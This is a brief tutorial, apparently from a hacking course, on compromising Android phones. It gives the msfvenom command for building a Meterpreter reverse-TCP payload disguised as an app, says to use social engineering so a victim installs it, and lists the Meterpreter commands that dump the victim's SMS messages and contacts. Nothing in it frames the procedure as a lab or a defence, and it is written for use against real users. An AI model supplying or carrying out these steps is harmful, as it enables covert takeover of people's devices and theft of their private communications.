With the increase of mobile device users and the penetration of smartphones to the population, hackers have found a new playing field for exploiting victims.
In this tutorial, we are going to see how easily a hacker can gain access to an android devices and be able to gather a lot of data from it.
Tools
Metasploit
Kali linux
Steps
1.Open the terminal
2.Type msfvenom –p android/meterpreter/reverse_tcp lhost=”yourip” lport=”port” R>appname.apk
Explanation
-p used to set payload
lhost= your ip
lport=set the port you want to listen
3. Create the listener as we learnt in the windows hacking. Set the payload as android/meterpreter/reverse_tcp
4. Using some social engineering techniques, send the created apk to the user and ask him/her to install it. When the app is installed and opened by the user, the reverse meterpreter session will be started.
5. Use dump_sms to see all sms
Use dump_contacts to see all contact.
As you can see from the above screenshots, we no have gathered some details from the user. A hacker can do much more damage to the user just by running some commands.
All these detail will be stored in the text file format.
